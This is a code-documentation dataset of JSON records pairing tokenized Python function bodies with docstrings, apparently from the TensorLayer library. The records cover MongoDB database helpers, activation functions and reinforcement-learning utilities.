{"signature": "def delete_model(self, **kwargs):", "body": "self._fill_project_info(kwargs)<EOL>self.db.Model.delete_many(kwargs)<EOL>logging.info(\"<STR_LIT>\")<EOL>", "docstring": "Delete model.\n\n        Parameters\n        -----------\n        kwargs : logging information\n            Find items to delete, leave it empty to delete all log.", "id": "f11203:c0:m7"}
{"signature": "def save_dataset(self, dataset=None, dataset_name=None, **kwargs):", "body": "self._fill_project_info(kwargs)<EOL>if dataset_name is None:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>kwargs.update({'<STR_LIT>': dataset_name})<EOL>s = time.time()<EOL>try:<EOL><INDENT>dataset_id = self.dataset_fs.put(self._serialization(dataset))<EOL>kwargs.update({'<STR_LIT>': dataset_id, '<STR_LIT:time>': datetime.utcnow()})<EOL>self.db.Dataset.insert_one(kwargs)<EOL>print(\"<STR_LIT>\".format(round(time.time() - s, <NUM_LIT:2>)))<EOL>return True<EOL><DEDENT>except Exception as e:<EOL><INDENT>exc_type, exc_obj, exc_tb = sys.exc_info()<EOL>fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[<NUM_LIT:1>]<EOL>logging.info(\"<STR_LIT>\".format(exc_type, exc_obj, fname, exc_tb.tb_lineno, e))<EOL>print(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>", "docstring": "Saves one dataset into database, timestamp will be added automatically.\n\n        Parameters\n        ----------\n        dataset : any type\n            The dataset you want to store.\n        dataset_name : str\n            The name of dataset.\n        kwargs : other events\n            Other events, such as description, author and etc (optinal).\n\n        Examples\n        ----------\n        Save dataset\n        >>> db.save_dataset([X_train, y_train, X_test, y_test], 'mnist', description='this is a tutorial')\n\n        Get dataset\n        >>> dataset = db.find_top_dataset('mnist')\n\n        Returns\n        ---------\n        boolean : Return True if save success, otherwise, return False.", "id": "f11203:c0:m8"}
{"signature": "def find_top_dataset(self, dataset_name=None, sort=None, **kwargs):", "body": "self._fill_project_info(kwargs)<EOL>if dataset_name is None:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>kwargs.update({'<STR_LIT>': dataset_name})<EOL>s = time.time()<EOL>d = self.db.Dataset.find_one(filter=kwargs, sort=sort)<EOL>if d is not None:<EOL><INDENT>dataset_id = d['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\".format(kwargs))<EOL>return False<EOL><DEDENT>try:<EOL><INDENT>dataset = self._deserialization(self.dataset_fs.get(dataset_id).read())<EOL>pc = self.db.Dataset.find(kwargs)<EOL>print(\"<STR_LIT>\".format(kwargs, round(time.time() - s, <NUM_LIT:2>)))<EOL>dataset_id_list = pc.distinct('<STR_LIT>')<EOL>n_dataset = len(dataset_id_list)<EOL>if n_dataset != <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\".format(n_dataset))<EOL><DEDENT>return dataset<EOL><DEDENT>except Exception as e:<EOL><INDENT>exc_type, exc_obj, exc_tb = sys.exc_info()<EOL>fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[<NUM_LIT:1>]<EOL>logging.info(\"<STR_LIT>\".format(exc_type, exc_obj, fname, exc_tb.tb_lineno, e))<EOL>return False<EOL><DEDENT>", "docstring": "Finds and returns a dataset from the database which matches the requirement.\n\n        Parameters\n        ----------\n        dataset_name : str\n            The name of dataset.\n        sort : List of tuple\n            PyMongo sort comment, search \"PyMongo find one sorting\" and `collection level operations <http://api.mongodb.com/python/current/api/pymongo/collection.html>`__ for more details.\n        kwargs : other events\n            Other events, such as description, author and etc (optinal).\n\n        Examples\n        ---------\n        Save dataset\n        >>> db.save_dataset([X_train, y_train, X_test, y_test], 'mnist', description='this is a tutorial')\n\n        Get dataset\n        >>> dataset = db.find_top_dataset('mnist')\n        >>> datasets = db.find_datasets('mnist')\n\n        Returns\n        --------\n        dataset : the dataset or False\n            Return False if nothing found.", "id": "f11203:c0:m9"}
{"signature": "def find_datasets(self, dataset_name=None, **kwargs):", "body": "self._fill_project_info(kwargs)<EOL>if dataset_name is None:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>kwargs.update({'<STR_LIT>': dataset_name})<EOL>s = time.time()<EOL>pc = self.db.Dataset.find(kwargs)<EOL>if pc is not None:<EOL><INDENT>dataset_id_list = pc.distinct('<STR_LIT>')<EOL>dataset_list = []<EOL>for dataset_id in dataset_id_list:  <EOL><INDENT>tmp = self.dataset_fs.get(dataset_id).read()<EOL>dataset_list.append(self._deserialization(tmp))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\".format(kwargs))<EOL>return False<EOL><DEDENT>print(\"<STR_LIT>\".format(len(dataset_list), round(time.time() - s, <NUM_LIT:2>)))<EOL>return dataset_list<EOL>", "docstring": "Finds and returns all datasets from the database which matches the requirement.\n        In some case, the data in a dataset can be stored separately for better management.\n\n        Parameters\n        ----------\n        dataset_name : str\n            The name/key of dataset.\n        kwargs : other events\n            Other events, such as description, author and etc (optional).\n\n        Returns\n        --------\n        params : the parameters, return False if nothing found.", "id": "f11203:c0:m10"}
{"signature": "def delete_datasets(self, **kwargs):", "body": "self._fill_project_info(kwargs)<EOL>self.db.Dataset.delete_many(kwargs)<EOL>logging.info(\"<STR_LIT>\")<EOL>", "docstring": "Delete datasets.\n\n        Parameters\n        -----------\n        kwargs : logging information\n            Find items to delete, leave it empty to delete all log.", "id": "f11203:c0:m11"}
{"signature": "def save_training_log(self, **kwargs):", "body": "self._fill_project_info(kwargs)<EOL>kwargs.update({'<STR_LIT:time>': datetime.utcnow()})<EOL>_result = self.db.TrainLog.insert_one(kwargs)<EOL>_log = self._print_dict(kwargs)<EOL>logging.info(\"<STR_LIT>\" + _log)<EOL>", "docstring": "Saves the training log, timestamp will be added automatically.\n\n        Parameters\n        -----------\n        kwargs : logging information\n            Events, such as accuracy, loss, step number and etc.\n\n        Examples\n        ---------\n        >>> db.save_training_log(accuracy=0.33, loss=0.98)", "id": "f11203:c0:m12"}
{"signature": "def save_validation_log(self, **kwargs):", "body": "self._fill_project_info(kwargs)<EOL>kwargs.update({'<STR_LIT:time>': datetime.utcnow()})<EOL>_result = self.db.ValidLog.insert_one(kwargs)<EOL>_log = self._print_dict(kwargs)<EOL>logging.info(\"<STR_LIT>\" + _log)<EOL>", "docstring": "Saves the validation log, timestamp will be added automatically.\n\n        Parameters\n        -----------\n        kwargs : logging information\n            Events, such as accuracy, loss, step number and etc.\n\n        Examples\n        ---------\n        >>> db.save_validation_log(accuracy=0.33, loss=0.98)", "id": "f11203:c0:m13"}
{"signature": "def delete_training_log(self, **kwargs):", "body": "self._fill_project_info(kwargs)<EOL>self.db.TrainLog.delete_many(kwargs)<EOL>logging.info(\"<STR_LIT>\")<EOL>", "docstring": "Deletes training log.\n\n        Parameters\n        -----------\n        kwargs : logging information\n            Find items to delete, leave it empty to delete all log.\n\n        Examples\n        ---------\n        Save training log\n        >>> db.save_training_log(accuracy=0.33)\n        >>> db.save_training_log(accuracy=0.44)\n\n        Delete logs that match the requirement\n        >>> db.delete_training_log(accuracy=0.33)\n\n        Delete all logs\n        >>> db.delete_training_log()", "id": "f11203:c0:m15"}
{"signature": "def delete_validation_log(self, **kwargs):", "body": "self._fill_project_info(kwargs)<EOL>self.db.ValidLog.delete_many(kwargs)<EOL>logging.info(\"<STR_LIT>\")<EOL>", "docstring": "Deletes validation log.\n\n        Parameters\n        -----------\n        kwargs : logging information\n            Find items to delete, leave it empty to delete all log.\n\n        Examples\n        ---------\n        - see ``save_training_log``.", "id": "f11203:c0:m16"}
{"signature": "def create_task(self, task_name=None, script=None, hyper_parameters=None, saved_result_keys=None, **kwargs):", "body": "if not isinstance(task_name, str):  <EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(script, str):  <EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>if hyper_parameters is None:<EOL><INDENT>hyper_parameters = {}<EOL><DEDENT>if saved_result_keys is None:<EOL><INDENT>saved_result_keys = []<EOL><DEDENT>self._fill_project_info(kwargs)<EOL>kwargs.update({'<STR_LIT:time>': datetime.utcnow()})<EOL>kwargs.update({'<STR_LIT>': hyper_parameters})<EOL>kwargs.update({'<STR_LIT>': saved_result_keys})<EOL>_script = open(script, '<STR_LIT:rb>').read()<EOL>kwargs.update({'<STR_LIT:status>': '<STR_LIT>', '<STR_LIT>': _script, '<STR_LIT:result>': {}})<EOL>self.db.Task.insert_one(kwargs)<EOL>logging.info(\"<STR_LIT>\".format(task_name, script))<EOL>", "docstring": "Uploads a task to the database, timestamp will be added automatically.\n\n        Parameters\n        -----------\n        task_name : str\n            The task name.\n        script : str\n            File name of the python script.\n        hyper_parameters : dictionary\n            The hyper parameters pass into the script.\n        saved_result_keys : list of str\n            The keys of the task results to keep in the database when the task finishes.\n        kwargs : other parameters\n            Users customized parameters such as description, version number.\n\n        Examples\n        -----------\n        Uploads a task\n        >>> db.create_task(task_name='mnist', script='example/tutorial_mnist_simple.py', description='simple tutorial')\n\n        Finds and runs the latest task\n        >>> db.run_top_task(sess=sess, sort=[(\"time\", pymongo.DESCENDING)])\n        >>> db.run_top_task(sess=sess, sort=[(\"time\", -1)])\n\n        Finds and runs the oldest task\n        >>> db.run_top_task(sess=sess, sort=[(\"time\", pymongo.ASCENDING)])\n        >>> db.run_top_task(sess=sess, sort=[(\"time\", 1)])", "id": "f11203:c0:m18"}
{"signature": "def run_top_task(self, task_name=None, sort=None, **kwargs):", "body": "if not isinstance(task_name, str):  <EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>self._fill_project_info(kwargs)<EOL>kwargs.update({'<STR_LIT:status>': '<STR_LIT>'})<EOL>task = self.db.Task.find_one_and_update(kwargs, {'<STR_LIT>': {'<STR_LIT:status>': '<STR_LIT>'}}, sort=sort)<EOL>try:<EOL><INDENT>if task is None:<EOL><INDENT>logging.info(\"<STR_LIT>\".format(task_name, sort))<EOL>return False<EOL><DEDENT>else:<EOL><INDENT>logging.info(\"<STR_LIT>\".format(task_name, sort))<EOL><DEDENT>_datetime = task['<STR_LIT:time>']<EOL>_script = task['<STR_LIT>']<EOL>_id = task['<STR_LIT>']<EOL>_hyper_parameters = task['<STR_LIT>']<EOL>_saved_result_keys = task['<STR_LIT>']<EOL>logging.info(\"<STR_LIT>\")<EOL>for key in _hyper_parameters:<EOL><INDENT>globals()[key] = _hyper_parameters[key]<EOL>logging.info(\"<STR_LIT>\".format(key, _hyper_parameters[key]))<EOL><DEDENT>s = time.time()<EOL>logging.info(\"<STR_LIT>\".format(task_name, sort, _datetime))<EOL>_script = _script.decode('<STR_LIT:utf-8>')<EOL>with tf.Graph().as_default():  <EOL><INDENT>exec(_script, globals())<EOL><DEDENT>_ = self.db.Task.find_one_and_update({'<STR_LIT>': _id}, {'<STR_LIT>': {'<STR_LIT:status>': '<STR_LIT>'}})<EOL>__result = {}<EOL>for _key in _saved_result_keys:<EOL><INDENT>logging.info(\"<STR_LIT>\".format(_key, globals()[_key], type(globals()[_key])))<EOL>__result.update({\"<STR_LIT:%s>\" % _key: globals()[_key]})<EOL><DEDENT>_ = self.db.Task.find_one_and_update(<EOL>{<EOL>'<STR_LIT>': _id<EOL>}, {'<STR_LIT>': {<EOL>'<STR_LIT:result>': __result<EOL>}}, return_document=pymongo.ReturnDocument.AFTER<EOL>)<EOL>logging.info(<EOL>\"<STR_LIT>\".<EOL>format(task_name, sort, _datetime,<EOL>time.time() - s)<EOL>)<EOL>return True<EOL><DEDENT>except Exception as e:<EOL><INDENT>exc_type, exc_obj, exc_tb = sys.exc_info()<EOL>fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[<NUM_LIT:1>]<EOL>logging.info(\"<STR_LIT>\".format(exc_type, exc_obj, fname, exc_tb.tb_lineno, e))<EOL>logging.info(\"<STR_LIT>\")<EOL>_ = self.db.Task.find_one_and_update({'<STR_LIT>': _id}, {'<STR_LIT>': {'<STR_LIT:status>': '<STR_LIT>'}})<EOL>return False<EOL><DEDENT>", "docstring": "Finds and runs a pending task that in the first of the sorting list.\n\n        Parameters\n        -----------\n        task_name : str\n            The task name.\n        sort : List of tuple\n            PyMongo sort comment, search \"PyMongo find one sorting\" and `collection level operations <http://api.mongodb.com/python/current/api/pymongo/collection.html>`__ for more details.\n        kwargs : other parameters\n            Users customized parameters such as description, version number.\n\n        Examples\n        ---------\n        Monitors the database and pull tasks to run\n        >>> while True:\n        >>>     print(\"waiting task from distributor\")\n        >>>     db.run_top_task(task_name='mnist', sort=[(\"time\", -1)])\n        >>>     time.sleep(1)\n\n        Returns\n        --------\n        boolean : True for success, False for fail.", "id": "f11203:c0:m19"}
{"signature": "def delete_tasks(self, **kwargs):", "body": "self._fill_project_info(kwargs)<EOL>self.db.Task.delete_many(kwargs)<EOL>logging.info(\"<STR_LIT>\")<EOL>", "docstring": "Delete tasks.\n\n        Parameters\n        -----------\n        kwargs : logging information\n            Find items to delete, leave it empty to delete all log.\n\n        Examples\n        ---------\n        >>> db.delete_tasks()", "id": "f11203:c0:m20"}
{"signature": "def check_unfinished_task(self, task_name=None, **kwargs):", "body": "if not isinstance(task_name, str):  <EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>self._fill_project_info(kwargs)<EOL>kwargs.update({'<STR_LIT>': [{'<STR_LIT:status>': '<STR_LIT>'}, {'<STR_LIT:status>': '<STR_LIT>'}]})<EOL>task = self.db.Task.find(kwargs)<EOL>task_id_list = task.distinct('<STR_LIT>')<EOL>n_task = len(task_id_list)<EOL>if n_task == <NUM_LIT:0>:<EOL><INDENT>logging.info(\"<STR_LIT>\".format(task_name))<EOL>return False<EOL><DEDENT>else:<EOL><INDENT>logging.info(\"<STR_LIT>\".format(n_task, task_name))<EOL>return True<EOL><DEDENT>", "docstring": "Finds and runs a pending task.\n\n        Parameters\n        -----------\n        task_name : str\n            The task name.\n        kwargs : other parameters\n            Users customized parameters such as description, version number.\n\n        Examples\n        ---------\n        Wait until all tasks finish in user's local console\n\n        >>> while not db.check_unfinished_task():\n        >>>     time.sleep(1)\n        >>> print(\"all tasks finished\")\n        >>> sess = tf.InteractiveSession()\n        >>> net = db.find_top_model(sess=sess, sort=[(\"test_accuracy\", -1)])\n        >>> print(\"the best accuracy {} is from model {}\".format(net._test_accuracy, net._name))\n\n        Returns\n        --------\n        boolean : True for success, False for fail.", "id": "f11203:c0:m21"}
{"signature": "def ramp(x, v_min=<NUM_LIT:0>, v_max=<NUM_LIT:1>, name=None):", "body": "return tf.clip_by_value(x, clip_value_min=v_min, clip_value_max=v_max, name=name)<EOL>", "docstring": "Ramp activation function.\n\n    Parameters\n    ----------\n    x : Tensor\n        input.\n    v_min : float\n        cap input to v_min as a lower bound.\n    v_max : float\n        cap input to v_max as a upper bound.\n    name : str\n        The function name (optional).\n\n    Returns\n    -------\n    Tensor\n        A ``Tensor`` in the same type as ``x``.", "id": "f11204:m0"}
{"signature": "@deprecated(date=\"<STR_LIT>\", instructions=\"<STR_LIT>\")<EOL>def leaky_relu(x, alpha=<NUM_LIT>, name=\"<STR_LIT>\"):", "body": "if not (<NUM_LIT:0> < alpha <= <NUM_LIT:1>):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>with tf.name_scope(name, \"<STR_LIT>\") as name_scope:<EOL><INDENT>x = tf.convert_to_tensor(x, name=\"<STR_LIT>\")<EOL>return tf.maximum(x, alpha * x, name=name_scope)<EOL><DEDENT>", "docstring": "leaky_relu can be used through its shortcut: :func:`tl.act.lrelu`.\n\n    This function is a modified version of ReLU, introducing a nonzero gradient for negative input. Introduced by the paper:\n    `Rectifier Nonlinearities Improve Neural Network Acoustic Models [A. L. Maas et al., 2013] <https://ai.stanford.edu/~amaas/papers/relu_hybrid_icml2013_final.pdf>`__\n\n    The function return the following results:\n      - When x < 0: ``f(x) = alpha_low * x``.\n      - When x >= 0: ``f(x) = x``.\n\n    Parameters\n    ----------\n    x : Tensor\n        Support input type ``float``, ``double``, ``int32``, ``int64``, ``uint8``, ``int16``, or ``int8``.\n    alpha : float\n        Slope.\n    name : str\n        The function name (optional).\n\n    Examples\n    --------\n    >>> import tensorlayer as tl\n    >>> net = tl.layers.DenseLayer(net, 100, act=lambda x : tl.act.lrelu(x, 0.2), name='dense')\n\n    Returns\n    -------\n    Tensor\n        A ``Tensor`` in the same type as ``x``.\n\n    References\n    ----------\n    - `Rectifier Nonlinearities Improve Neural Network Acoustic Models [A. L. Maas et al., 2013] <https://ai.stanford.edu/~amaas/papers/relu_hybrid_icml2013_final.pdf>`__", "id": "f11204:m1"}
{"signature": "def leaky_relu6(x, alpha=<NUM_LIT>, name=\"<STR_LIT>\"):", "body": "if not isinstance(alpha, tf.Tensor) and not (<NUM_LIT:0> < alpha <= <NUM_LIT:1>):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>with tf.name_scope(name, \"<STR_LIT>\") as name_scope:<EOL><INDENT>x = tf.convert_to_tensor(x, name=\"<STR_LIT>\")<EOL>return tf.minimum(tf.maximum(x, alpha * x), <NUM_LIT:6>, name=name_scope)<EOL><DEDENT>", "docstring": ":func:`leaky_relu6` can be used through its shortcut: :func:`tl.act.lrelu6`.\n\n    This activation function is a modified version :func:`leaky_relu` introduced by the following paper:\n    `Rectifier Nonlinearities Improve Neural Network Acoustic Models [A. L. Maas et al., 2013] <https://ai.stanford.edu/~amaas/papers/relu_hybrid_icml2013_final.pdf>`__\n\n    This activation function also follows the behaviour of the activation function :func:`tf.nn.relu6` introduced by the following paper:\n    `Convolutional Deep Belief Networks on CIFAR-10 [A. Krizhevsky, 2010] <http://www.cs.utoronto.ca/~kriz/conv-cifar10-aug2010.pdf>`__\n\n    The function return the following results:\n      - When x < 0: ``f(x) = alpha_low * x``.\n      - When x in [0, 6]: ``f(x) = x``.\n      - When x > 6: ``f(x) = 6``.\n\n    Parameters\n    ----------\n    x : Tensor\n        Support input type ``float``, ``double``, ``int32``, ``int64``, ``uint8``, ``int16``, or ``int8``.\n    alpha : float\n        Slope.\n    name : str\n        The function name (optional).\n\n    Examples\n    --------\n    >>> import tensorlayer as tl\n    >>> net = tl.layers.DenseLayer(net, 100, act=lambda x : tl.act.leaky_relu6(x, 0.2), name='dense')\n\n    Returns\n    -------\n    Tensor\n        A ``Tensor`` in the same type as ``x``.\n\n    References\n    ----------\n    - `Rectifier Nonlinearities Improve Neural Network Acoustic Models [A. L. Maas et al., 2013] <https://ai.stanford.edu/~amaas/papers/relu_hybrid_icml2013_final.pdf>`__\n    - `Convolutional Deep Belief Networks on CIFAR-10 [A. Krizhevsky, 2010] <http://www.cs.utoronto.ca/~kriz/conv-cifar10-aug2010.pdf>`__", "id": "f11204:m2"}
{"signature": "def leaky_twice_relu6(x, alpha_low=<NUM_LIT>, alpha_high=<NUM_LIT>, name=\"<STR_LIT>\"):", "body": "if not isinstance(alpha_high, tf.Tensor) and not (<NUM_LIT:0> < alpha_high <= <NUM_LIT:1>):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(alpha_low, tf.Tensor) and not (<NUM_LIT:0> < alpha_low <= <NUM_LIT:1>):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>with tf.name_scope(name, \"<STR_LIT>\") as name_scope:<EOL><INDENT>x = tf.convert_to_tensor(x, name=\"<STR_LIT>\")<EOL>x_is_above_0 = tf.minimum(x, <NUM_LIT:6> * (<NUM_LIT:1> - alpha_high) + alpha_high * x)<EOL>x_is_below_0 = tf.minimum(alpha_low * x, <NUM_LIT:0>)<EOL>return tf.maximum(x_is_above_0, x_is_below_0, name=name_scope)<EOL><DEDENT>", "docstring": ":func:`leaky_twice_relu6` can be used through its shortcut: :func:`:func:`tl.act.ltrelu6`.\n\n    This activation function is a modified version :func:`leaky_relu` introduced by the following paper:\n    `Rectifier Nonlinearities Improve Neural Network Acoustic Models [A. L. Maas et al., 2013] <https://ai.stanford.edu/~amaas/papers/relu_hybrid_icml2013_final.pdf>`__\n\n    This activation function also follows the behaviour of the activation function :func:`tf.nn.relu6` introduced by the following paper:\n    `Convolutional Deep Belief Networks on CIFAR-10 [A. Krizhevsky, 2010] <http://www.cs.utoronto.ca/~kriz/conv-cifar10-aug2010.pdf>`__\n\n    This function push further the logic by adding `leaky` behaviour both below zero and above six.\n\n    The function return the following results:\n      - When x < 0: ``f(x) = alpha_low * x``.\n      - When x in [0, 6]: ``f(x) = x``.\n      - When x > 6: ``f(x) = 6 + (alpha_high * (x-6))``.\n\n    Parameters\n    ----------\n    x : Tensor\n        Support input type ``float``, ``double``, ``int32``, ``int64``, ``uint8``, ``int16``, or ``int8``.\n    alpha_low : float\n        Slope for x < 0: ``f(x) = alpha_low * x``.\n    alpha_high : float\n        Slope for x < 6: ``f(x) = 6 (alpha_high * (x-6))``.\n    name : str\n        The function name (optional).\n\n    Examples\n    --------\n    >>> import tensorlayer as tl\n    >>> net = tl.layers.DenseLayer(net, 100, act=lambda x : tl.act.leaky_twice_relu6(x, 0.2, 0.2), name='dense')\n\n    Returns\n    -------\n    Tensor\n        A ``Tensor`` in the same type as ``x``.\n\n    References\n    ----------\n    - `Rectifier Nonlinearities Improve Neural Network Acoustic Models [A. L. Maas et al., 2013] <https://ai.stanford.edu/~amaas/papers/relu_hybrid_icml2013_final.pdf>`__\n    - `Convolutional Deep Belief Networks on CIFAR-10 [A. Krizhevsky, 2010] <http://www.cs.utoronto.ca/~kriz/conv-cifar10-aug2010.pdf>`__", "id": "f11204:m3"}
{"signature": "def swish(x, name='<STR_LIT>'):", "body": "with tf.name_scope(name):<EOL><INDENT>x = tf.nn.sigmoid(x) * x<EOL><DEDENT>return x<EOL>", "docstring": "Swish function.\n\n     See `Swish: a Self-Gated Activation Function <https://arxiv.org/abs/1710.05941>`__.\n\n    Parameters\n    ----------\n    x : Tensor\n        input.\n    name: str\n        function name (optional).\n\n    Returns\n    -------\n    Tensor\n        A ``Tensor`` in the same type as ``x``.", "id": "f11204:m4"}
{"signature": "def sign(x):", "body": "with tf.get_default_graph().gradient_override_map({\"<STR_LIT>\": \"<STR_LIT>\"}):<EOL><INDENT>return tf.sign(x, name='<STR_LIT>')<EOL><DEDENT>", "docstring": "Sign function.\n\n    Clip and binarize tensor using the straight through estimator (STE) for the gradient, usually be used for\n    quantizing values in `Binarized Neural Networks`: https://arxiv.org/abs/1602.02830.\n\n    Parameters\n    ----------\n    x : Tensor\n        input.\n\n    Examples\n    --------\n    >>> net = tl.layers.DenseLayer(net, 100, act=lambda x : tl.act.lrelu(x, 0.2), name='dense')\n\n    Returns\n    -------\n    Tensor\n        A ``Tensor`` in the same type as ``x``.\n\n    References\n    ----------\n    - `Rectifier Nonlinearities Improve Neural Network Acoustic Models, Maas et al. (2013)`\n       http://web.stanford.edu/~awni/papers/relu_hybrid_icml2013_final.pdf\n\n    - `BinaryNet: Training Deep Neural Networks with Weights and Activations Constrained to +1 or -1, Courbariaux et al. (2016)`\n       https://arxiv.org/abs/1602.02830", "id": "f11204:m6"}
{"signature": "def hard_tanh(x, name='<STR_LIT>'):", "body": "<EOL>return tf.clip_by_value(x, -<NUM_LIT:1>, <NUM_LIT:1>, name=name)<EOL>", "docstring": "Hard tanh activation function.\n\n    Which is a ramp function with low bound of -1 and upper bound of 1, shortcut is `htanh`.\n\n    Parameters\n    ----------\n    x : Tensor\n        input.\n    name : str\n        The function name (optional).\n\n    Returns\n    -------\n    Tensor\n        A ``Tensor`` in the same type as ``x``.", "id": "f11204:m7"}
{"signature": "@deprecated(date=\"<STR_LIT>\", instructions=\"<STR_LIT>\")<EOL>def pixel_wise_softmax(x, name='<STR_LIT>'):", "body": "with tf.name_scope(name):<EOL><INDENT>return tf.nn.softmax(x)<EOL><DEDENT>", "docstring": "Return the softmax outputs of images, every pixels have multiple label, the sum of a pixel is 1.\n\n    Usually be used for image segmentation.\n\n    Parameters\n    ----------\n    x : Tensor\n        input.\n            - For 2d image, 4D tensor (batch_size, height, weight, channel), where channel >= 2.\n            - For 3d image, 5D tensor (batch_size, depth, height, weight, channel), where channel >= 2.\n    name : str\n        function name (optional)\n\n    Returns\n    -------\n    Tensor\n        A ``Tensor`` in the same type as ``x``.\n\n    Examples\n    --------\n    >>> outputs = pixel_wise_softmax(network.outputs)\n    >>> dice_loss = 1 - dice_coe(outputs, y_, epsilon=1e-5)\n\n    References\n    ----------\n    - `tf.reverse <https://www.tensorflow.org/versions/master/api_docs/python/array_ops.html#reverse>`__", "id": "f11204:m8"}
{"signature": "def discount_episode_rewards(rewards=None, gamma=<NUM_LIT>, mode=<NUM_LIT:0>):", "body": "if rewards is None:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>discounted_r = np.zeros_like(rewards, dtype=np.float32)<EOL>running_add = <NUM_LIT:0><EOL>for t in reversed(xrange(<NUM_LIT:0>, rewards.size)):<EOL><INDENT>if mode == <NUM_LIT:0>:<EOL><INDENT>if rewards[t] != <NUM_LIT:0>: running_add = <NUM_LIT:0><EOL><DEDENT>running_add = running_add * gamma + rewards[t]<EOL>discounted_r[t] = running_add<EOL><DEDENT>return discounted_r<EOL>", "docstring": "Take 1D float array of rewards and compute discounted rewards for an\n    episode. When encount a non-zero value, consider as the end a of an episode.\n\n    Parameters\n    ----------\n    rewards : list\n        List of rewards\n    gamma : float\n        Discounted factor\n    mode : int\n        Mode for computing the discount rewards.\n            - If mode == 0, reset the discount process when encount a non-zero reward (Ping-pong game).\n            - If mode == 1, would not reset the discount process.\n\n    Returns\n    --------\n    list of float\n        The discounted rewards.\n\n    Examples\n    ----------\n    >>> rewards = np.asarray([0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1])\n    >>> gamma = 0.9\n    >>> discount_rewards = tl.rein.discount_episode_rewards(rewards, gamma)\n    >>> print(discount_rewards)\n    [ 0.72899997  0.81        0.89999998  1.          0.72899997  0.81\n    0.89999998  1.          0.72899997  0.81        0.89999998  1.        ]\n    >>> discount_rewards = tl.rein.discount_episode_rewards(rewards, gamma, mode=1)\n    >>> print(discount_rewards)\n    [ 1.52110755  1.69011939  1.87791049  2.08656716  1.20729685  1.34144104\n    1.49048996  1.65610003  0.72899997  0.81        0.89999998  1.        ]", "id": "f11205:m0"}
{"signature": "def cross_entropy_reward_loss(logits, actions, rewards, name=None):", "body": "cross_entropy = tf.nn.sparse_softmax_cross_entropy_with_logits(labels=actions, logits=logits, name=name)<EOL>return tf.reduce_sum(tf.multiply(cross_entropy, rewards))<EOL>", "docstring": "Calculate the loss for Policy Gradient Network.\n\n    Parameters\n    ----------\n    logits : tensor\n        The network outputs without softmax. This function implements softmax inside.\n    actions : tensor or placeholder\n        The agent actions.\n    rewards : tensor or placeholder\n        The rewards.\n\n    Returns\n    --------\n    Tensor\n        The TensorFlow loss function.\n\n    Examples\n    ----------\n    >>> states_batch_pl = tf.placeholder(tf.float32, shape=[None, D])\n    >>> network = InputLayer(states_batch_pl, name='input')\n    >>> network = DenseLayer(network, n_units=H, act=tf.nn.relu, name='relu1')\n    >>> network = DenseLayer(network, n_units=3, name='out')\n    >>> probs = network.outputs\n    >>> sampling_prob = tf.nn.softmax(probs)\n    >>> actions_batch_pl = tf.placeholder(tf.int32, shape=[None])\n    >>> discount_rewards_batch_pl = tf.placeholder(tf.float32, shape=[None])\n    >>> loss = tl.rein.cross_entropy_reward_loss(probs, actions_batch_pl, discount_rewards_batch_pl)\n    >>> train_op = tf.train.RMSPropOptimizer(learning_rate, decay_rate).minimize(loss)", "id": "f11205:m1"}
{"signature": "def log_weight(probs, weights, name='<STR_LIT>'):", "body": "with tf.variable_scope(name):<EOL><INDENT>exp_v = tf.reduce_mean(tf.log(probs) * weights)<EOL>return exp_v<EOL><DEDENT>", "docstring": "Log weight.\n\n    Parameters\n    -----------\n    probs : tensor\n        If it is a network output, usually we should scale it to [0, 1] via softmax.\n    weights : tensor\n        The weights.\n\n    Returns\n    --------\n    Tensor\n        The Tensor after appling the log weighted expression.", "id": "f11205:m2"}
{"signature": "def choice_action_by_probs(probs=(<NUM_LIT:0.5>, <NUM_LIT:0.5>), action_list=None):", "body": "if action_list is None:<EOL><INDENT>n_action = len(probs)<EOL>action_list = np.arange(n_action)<EOL><DEDENT>else:<EOL><INDENT>if len(action_list) != len(probs):<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>return np.random.choice(action_list, p=probs)<EOL>", "docstring": "Choice and return an an action by given the action probability distribution.\n\n    Parameters\n    ------------\n    probs : list of float.\n        The probability distribution of all actions.\n    action_list : None or a list of int or others\n        A list of action in integer, string or others. If None, returns an integer range between 0 and len(probs)-1.\n\n    Returns\n    --------\n    float int or str\n        The chosen action.\n\n    Examples\n    ----------\n    >>> for _ in range(5):\n    >>>     a = choice_action_by_probs([0.2, 0.4, 0.4])\n    >>>     print(a)\n    0\n    1\n    1\n    2\n    1\n    >>> for _ in range(3):\n    >>>     a = choice_action_by_probs([0.5, 0.5], ['a', 'b'])\n    >>>     print(a)\n    a\n    b\n    b", "id": "f11205:m3"}
{"signature": "def read_image(image, path='<STR_LIT>'):", "body": "return imageio.imread(os.path.join(path, image))<EOL>", "docstring": "Read one image.\n\n    Parameters\n    -----------\n    image : str\n        The image file name.\n    path : str\n        The image folder path.\n\n    Returns\n    -------\n    numpy.array\n        The image.", "id": "f11206:m0"}
